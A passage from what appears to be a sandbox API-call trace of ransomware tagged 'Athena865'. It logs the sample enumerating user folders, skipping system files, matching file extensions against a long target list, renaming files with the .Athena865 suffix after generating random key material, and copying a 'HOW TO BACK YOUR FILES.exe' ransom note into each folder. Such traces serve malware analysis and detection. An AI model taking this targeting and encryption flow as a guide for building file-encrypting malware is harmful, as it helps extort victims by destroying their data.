[0053.620] lstrlenW (lpString="sbf") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.620] lstrlenW (lpString="scx") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.620] lstrlenW (lpString="sdb") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.620] lstrlenW (lpString="sdc") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.620] lstrlenW (lpString="sdf") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.620] lstrlenW (lpString="sis") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.620] lstrlenW (lpString="spq") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.620] lstrlenW (lpString="te") returned 2 [0053.620] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.620] lstrlenW (lpString="teacher") returned 7 [0053.620] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.621] lstrlenW (lpString="tmd") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.621] lstrlenW (lpString="tps") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.621] lstrlenW (lpString="trc") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.621] lstrlenW (lpString="trc") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.621] lstrlenW (lpString="trm") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.621] lstrlenW (lpString="udb") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.621] lstrlenW (lpString="udl") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.621] lstrlenW (lpString="usr") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.621] lstrlenW (lpString="v12") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.621] lstrlenW (lpString="vis") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.621] lstrlenW (lpString="vpd") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.621] lstrlenW (lpString="vvv") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.621] lstrlenW (lpString="wdb") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.621] lstrlenW (lpString="wmdb") returned 4 [0053.621] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.621] lstrlenW (lpString="wrk") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.621] lstrlenW (lpString="xdb") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.621] lstrlenW (lpString="xld") returned 3 [0053.621] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.622] lstrlenW (lpString="xmlff") returned 5 [0053.622] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.622] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Documents\\desktop.ini.Athena865") returned 65 [0053.622] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Documents\\desktop.ini" (normalized: "c:\\documents and settings\\default\\documents\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\documents\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.622] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Documents\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\documents\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=402) returned 1 [0053.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d9a8 [0053.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.623] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.624] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.624] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.624] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0053.626] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0053.627] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.627] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.627] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0053.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0053.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.628] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.628] CloseHandle (hObject=0x154) returned 1 [0053.628] CloseHandle (hObject=0x17c) returned 1 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.628] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.628] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0053.629] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0053.629] lstrlenW (lpString="My Music") returned 8 [0053.629] lstrcpyW (in: lpString1=0x241e8a0, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0053.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c788 [0053.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d9a8 [0053.629] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0053.629] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0053.629] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.630] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0053.630] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0053.630] lstrlenW (lpString="My Pictures") returned 11 [0053.630] lstrcpyW (in: lpString1=0x241e8a0, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0053.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c770 [0053.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52da20 [0053.630] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0053.630] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0053.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.631] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0053.631] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0053.631] lstrlenW (lpString="My Videos") returned 9 [0053.631] lstrcpyW (in: lpString1=0x241e8a0, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0053.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c758 [0053.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52da98 [0053.631] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0053.631] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0053.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.632] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0053.632] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.632] ReleaseMutex (hMutex=0xec) returned 1 [0053.632] CloseHandle (hObject=0xec) returned 1 [0053.632] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Downloads" | out: lpString1="C:\\Documents and Settings\\Default\\Downloads") returned="C:\\Documents and Settings\\Default\\Downloads" [0053.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528890 | out: hHeap=0x4f0000) returned 1 [0053.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7a0 | out: hHeap=0x4f0000) returned 1 [0053.632] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Downloads") returned 43 [0053.632] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\31782CE829F949623E542AF76932DFD6") returned 0xec [0053.632] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.632] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Downloads" | out: lpString1="C:\\Documents and Settings\\Default\\Downloads") returned="C:\\Documents and Settings\\Default\\Downloads" [0053.632] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.632] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.633] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.633] GetLastError () returned 0x0 [0053.633] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.633] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.634] CloseHandle (hObject=0xf4) returned 1 [0053.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.634] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.634] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.634] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.634] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.634] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.634] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.634] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.634] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.634] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.634] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.634] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.634] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.635] lstrlenW (lpString="desktop.ini") returned 11 [0053.635] lstrcpyW (in: lpString1=0x241e8a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.635] lstrlenW (lpString="desktop.ini") returned 11 [0053.635] lstrlenW (lpString="Athena865") returned 9 [0053.635] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.635] lstrlenW (lpString=".dll") returned 4 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.635] lstrlenW (lpString=".lnk") returned 4 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.635] lstrlenW (lpString=".ini") returned 4 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.635] lstrlenW (lpString=".sys") returned 4 [0053.635] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.635] lstrlenW (lpString="desktop.ini") returned 11 [0053.635] lstrlenW (lpString="bak") returned 3 [0053.635] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.635] lstrlenW (lpString="ba_") returned 3 [0053.635] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.635] lstrlenW (lpString="dbb") returned 3 [0053.635] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.635] lstrlenW (lpString="vmdk") returned 4 [0053.635] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.635] lstrlenW (lpString="rar") returned 3 [0053.635] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.636] lstrlenW (lpString="zip") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.636] lstrlenW (lpString="tgz") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.636] lstrlenW (lpString="vbox") returned 4 [0053.636] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.636] lstrlenW (lpString="vdi") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.636] lstrlenW (lpString="vhd") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.636] lstrlenW (lpString="vhdx") returned 4 [0053.636] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.636] lstrlenW (lpString="avhd") returned 4 [0053.636] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.636] lstrlenW (lpString="db") returned 2 [0053.636] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.636] lstrlenW (lpString="db2") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.636] lstrlenW (lpString="db3") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.636] lstrlenW (lpString="dbf") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.636] lstrlenW (lpString="mdf") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.636] lstrlenW (lpString="mdb") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.636] lstrlenW (lpString="sql") returned 3 [0053.636] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.636] lstrlenW (lpString="sqlite") returned 6 [0053.636] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.636] lstrlenW (lpString="sqlite3") returned 7 [0053.636] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.636] lstrlenW (lpString="sqlitedb") returned 8 [0053.637] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.637] lstrlenW (lpString="xml") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.637] lstrlenW (lpString="$er") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.637] lstrlenW (lpString="4dd") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.637] lstrlenW (lpString="4dl") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.637] lstrlenW (lpString="^^^") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.637] lstrlenW (lpString="abs") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.637] lstrlenW (lpString="abx") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.637] lstrlenW (lpString="accdb") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.637] lstrlenW (lpString="accdc") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.637] lstrlenW (lpString="accde") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.637] lstrlenW (lpString="accdr") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.637] lstrlenW (lpString="accdt") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.637] lstrlenW (lpString="accdw") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.637] lstrlenW (lpString="accft") returned 5 [0053.637] lstrcmpiW (lpString1="p.ini", 